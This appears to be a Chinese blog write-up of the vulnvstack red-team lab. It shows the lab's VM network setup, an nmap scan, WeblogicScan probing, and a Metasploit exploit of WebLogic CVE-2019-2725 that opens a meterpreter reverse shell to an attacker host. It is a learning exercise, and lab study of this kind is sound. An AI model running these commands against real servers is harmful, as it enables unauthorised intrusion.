记录渗透靶场实战【网络安全】

第一次写靶场实战的文章，有不足之处还请多多指教。本次实战的靶场是红日安全vulnstack系列的第二个靶场。

靶场地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

环境搭建

网络环境

网卡配置

只需要在VM上选择对应网卡即可，不需要在靶机中进行配置。

DC

IP：10.10.10.10 （VMnet5）
OS：Windows 2012（x64）

WEB

IP1：192.168.111.80 （VMnet6）
IP2：10.10.10.80 （VMnet5）
OS：Windows 2008（x64）

PC

IP1：192.168.111.201 （VMnet6）
IP2：10.10.10.201 （VMnet5）
OS：Windows 7（x86）

开启靶场

进入C:\Oracle\Middleware\user_projects\domains\base_domain目录下，双击startWebLogic开启服务。

外网渗透

我们已知当前Web服务器的公网IP为192.168.111.80，对Web服务器进行端口扫描，以期发现是否有可以利用的端口服务，从而突破边界。

端口扫描

nmap -sV -Pn -T4 192.168.111.80

【一>所有资源获取<一】
1、200多本网络安全系列电子书（该有的都有了）
2、全套工具包（最全中文版，想用哪个用哪个）
3、100份src源码技术文档（项目学习不停，实践得真知）
4、网络安全基础入门、Linux、web安全、攻防方面的视频（2021最新版）
5、网络安全学习路线（告别不入流的学习）
6、ctf夺旗赛解析（题目解析实战操作）

漏洞探测

通过端口扫描我们发现Web服务器开启了80、7001等端口，其他端口如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接进入Web服务器。这里我们先访问Web服务，发现80端口页面是空白的，在7001端口我们发现Web服务器开启了Weblogic，尝试使用WeblogicScan脚本探测漏洞：

python3 WeblogicScan.py -u 192.168.111.80 -p 7001

漏洞利用

通过脚本探测发现存在CVE-2019-2725，我们可以使用网上的exp，这里我们使用msf自带的漏洞利用模块：

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run